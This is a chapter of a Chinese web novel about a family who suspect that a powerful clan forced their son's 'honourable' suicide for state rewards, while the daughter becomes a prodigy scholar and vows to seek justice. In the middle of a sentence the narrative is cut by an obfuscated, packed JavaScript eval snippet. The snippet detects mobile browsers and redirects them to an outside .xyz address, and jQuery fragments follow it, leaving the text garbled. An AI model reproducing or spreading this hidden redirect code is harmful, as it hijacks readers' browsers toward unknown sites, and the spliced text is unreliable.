蔺曦有所明了地白了一张脸，脊梁骨上滚过一阵寒彻身心的寒战。


    “三哥，你的意思是胡良英当初求娶二哥，就是因为知道自己活不长了，所以想找个人陪她一起去死吗？”


    蔺东玉两颊的肌肉难以自抑地一哆嗦，瞪着蔺昭怒斥道：“招妹，你越说越离谱了，不准再胡说八道。”


    “我这不叫胡说八道，叫合理猜测。四妹，你还是太单纯了，你以为胡良英娶二哥只是想找个人陪他一起下黄泉吗？真相可能比这更加残忍。”


    蔺昭满心愤慨却又头脑冷静地分析起来。


    “其实以二哥的出身只能给胡良英当夫侍，可她却一定要明媒正娶为填房，为什么？我猜是因为她从大哥的贞男头衔中看到了利益所在。如果她婚后病死了，一个夫侍殉妻是没有资格得到朝廷旌表的，只有正牌丈夫才可以。”


    深吸一口气后，蔺昭加重语气强调道：


    “这——才是胡良英要娶二哥为填房的真实原因。只有二哥以死殉妻，她不但下黄泉有人作伴，胡家还能从朝廷旌表中捞到好处。当初大哥得到贞男嘉奖时，蔺家的田地赋税减免了不少钱。而胡家家大业大，能够从中获得的减免优惠只会更加可观。选择二哥来充当这个牺牲品，就是因为蔺家门第不高，可以任由他们拿捏。如果是什么高门大户的贵男，他们才不敢这样下黑手。”


    说着说着，蔺昭忽然又想起了一个细节。


    “我最后一次和二哥见面时，他还跟我提过一件事。胡良英卧病在床时，曾经询问他如果她死了他打算什么办？二哥当时以为她是担心他会改嫁，便保证自己会为她守寡一生。现在看来，胡良英应该是想知道二哥会不会像大哥一样选择以死殉妻，那样她们倒是能省事了。结果发现二哥只想守寡不想死殉，就只能按计划对他下了死手。”


    梁宽浑身抖得像秋风中的落叶，他不由自主地疯狂摇头，极度抗拒接受如此可怕的猜测。


    “不……不……不……”


    蔺曦的脸色已经苍白得不能再苍白，蔺昭所猜测的一切刷新了她的三观。


    “如果这才是当初胡良英要娶二哥当填房的真相，那这个老女人也太恶毒了吧？二哥都愿意为她守寡一辈子，按照朝廷制度，妻子死时丈夫未满三十岁，守寡到五十岁时也可以认定为节夫，予以旌表的。”


    “可是那样的话胡家还要等上三十五年，自然是不如直接用一具以死殉妻的新鲜尸体变现来得更快。胡良英制定了这个恶毒的计划，而胡麒在她死后予以执行，二哥就这样被她们母女俩合伙害死了。”


    顿了一下后，蔺昭又恨恨然地磨着后槽牙道：


    “更可恶的是，她们都存了心要让二哥陪葬，却还不肯让他在人生最后的日子过得舒服一点。既让他像奴仆一样没日没夜地伺候病人，还不肯让他吃好喝好，简直不是……”


    “你给我闭嘴。”


    蔺东玉用力挥出一耳光，打断了蔺昭还没说完的话。随着啪的一声响，他雪白娇嫩的脸颊上迅速红肿起五根历历分明的指痕。


    挨了打的蔺昭并没有闭嘴，他心里有一团火焰在燃烧，烧得他满腔的愤恨实在是不吐不快。


    “娘，我知道你不会接受我的猜测，更不可能会去报官。二哥已经死了，人死不能复生，既然他的死已经被胡麒暗箱操作成了‘节夫殉妻’这种能光耀门楣的事，你就不可能会跟胡家闹了。不闹的话你又能多一个节夫儿子，蔺家的门楣又能添光加彩，还能再增加一笔田地赋税的优待。闹的话这些好处可就全都没有了，自然是不闹要比闹强多了是吧？”


    蔺东玉有心再给蔺昭一耳光，高高扬起的右手却被蔺曦挡住了。


    “娘，三哥的猜测合情合理，您就是因为这样才不想跟胡家闹了对不对？”


    “曦儿，用你的脑子好好想一想，你三哥这种无凭无据的猜测能动得了胡家吗？万安胡氏在阳县的名头有多响、根脚有多深，你难道不知道吗？咱们蔺家一介商贾，在毫无证据的情况下想要指控他们害死了昀郎，闹到官府没准会被反判成诬告罪。要是蔺家因此获罪，下个月你连参加科举的资格都没有了。”


    坤乾国的科举每年都设常科选拔人才，只有身家清白者才有资格报考。


    如果蔺东玉犯了诬告罪，蔺曦就百分百与科举无缘了。


    蔺曦哑然无声，蔺昭也神色惨淡地抿紧双唇不再说话。


    蔺昀这种“节义之夫的死殉”能让婆家和娘家都从中获利不少，这就已经足以让蔺东玉不想闹了。


    更何况继续闹下去还会影响到蔺曦的仕途，那她就更不可能会跟胡麒死磕到底。


    “曦儿，如果你认同你三哥的猜测，觉得昀郎之死是胡家暗中捣鬼害死了他，那下个月的科举你就好好考。只有你考上进士当了官，才有可能查清楚昀郎到底是怎么死的。”


    蔺东玉这番话蔺曦听进去了，她猛地扭头看向蔺昭，一双眼睛火焰般灼热无比。


    “三哥，咱们现在无凭无据根本动不了胡家。不过君子报仇，十年不晚。我发誓一定会通过科举入仕做官，到时候再来跟胡家好好算一下二哥的这笔账。”


    蔺昭也知道蔺东玉是指望不上的，只是对于蔺昀之死的猜测实在是不吐不快。


    蔺曦能这么说让他十分欣慰，注视着她用力一点头。


    “好，四妹，二哥的这个仇就等你以后替他报了。”


    .


    八月秋闱，十岁的蔺曦再次赴京参加童子科。


    这回她满分通过考试，成了官方盖章认定的神童。不但被授予进士出身，还得到了待制弘文馆的殊荣。


    弘文馆是坤乾国一个负责收藏与校理典籍的官署，相当于国家图书馆。


    所谓的待制弘文馆，就是蔺曦将以神童身份进入弘文馆学习，等长大后再由皇帝下诏正式安排工作。


    待制弘文馆期间，蔺曦的食宿国家全包，每个月还


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16432555|183595||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    有俸禄可领。环境优越，待遇优厚，是许多读书人梦寐以求的好单位。


    弄明白了这个待制弘文馆是啥意思后，蔺昭就懂了：小丫头等于已经成功上岸当了国家公务员，只不过还是储备干部阶段。


    蔺曦成功折桂童子科，在阳县名噪一时，成了街头巷尾人人热议的对象。


    “你们听说了吗？蔺家又出了一个光宗耀祖的人物啊！”


    “哪个蔺家？”


    “还能是哪个蔺家，就是出过蔺贞男和蔺节夫的蔺家。”


    蔺昀死后，胡麒连夜上报了他“服毒殉妻”的光荣事迹，县令很快上书朝廷，朝廷也很快下令旌表门闾。


    蔺昀因此获到了一个节夫的荣誉称号，以表彰他“守节而死、虽死犹生”的节义行为。


    估计是胡麒还托关系四处打点运作了一番，朝廷甚至还拔了专款专项为他建造一座贞节牌坊。


    这可是阳县的第一座贞节牌坊，蔺节夫可歌可泣的节义之举，将因此永远被后人铭记。他的婆家和娘家，都因为他受到了无数人的尊敬。


    “哦，那个蔺家呀，去年他家大郎自缢殉了未婚妻被认定为贞男，今年他家二郎又服毒殉妻被认定为节夫，朝廷还拨款为蔺节夫修建牌坊。蔺家已经出了两个这么了不起的儿子，还能出什么光宗耀祖的人物啊？”


    “蔺家不只是儿子教养得好，女儿更出色。今年秋闱的童子科魁首，就是蔺夫人唯一的独女蔺曦，既授了进士出身，还待制弘文馆，你们说厉害不厉害？”


    “什么？蔺家的女儿居然这么有出息，高中童子科，待制弘文馆，咱们整个阳县都跟着与有荣焉啊！”


    “可不是嘛，昨日喜报传到阳县时，连县令都亲自去了蔺家登门道喜，听说还送了不少礼物呢。”


    “不只是县令，这两天跑去蔺家登门贺喜和送礼的人多得数都数不过来。毕竟蔺神童日后前途无量，能早点攀上关系的话谁也不会错失良机的。”


    “眼下估计想跟蔺神童议亲的人家也大把呢，不过蔺夫人应该不会考虑。”


    “换作我是蔺夫人，也不会这个时候给女儿议亲。毕竟蔺神童都已经待制弘文馆了，以后肯定要当京官的，自然是在京城找高门大户的贵男当夫郎了。”


    蔺曦夺魁童子科后，就直接进入弘文馆留在了京城。确认宝贝女儿一切都安顿好了，陪考的蔺东玉独自一人返回阳县。


    回到家第一件事，蔺东玉就给了蔺昭一封信。


    “招妹，这是曦儿让我带给你的。”


    蔺昭拆开一看，信上只有一行笔锋力透纸背的字——三哥你放心，我一定会继续努力，争取当上大官，查清二哥的死因真相。


    定定地注视着这行话，蔺昭在心底默默对蔺曦道：四妹，替二哥报仇的事全指望你了！


    在坤乾国，一个闺阁弱男子连大门都走不出去，更别提帮蔺昀报仇了。除了寄希望于蔺曦，他实在是没有别人能指望。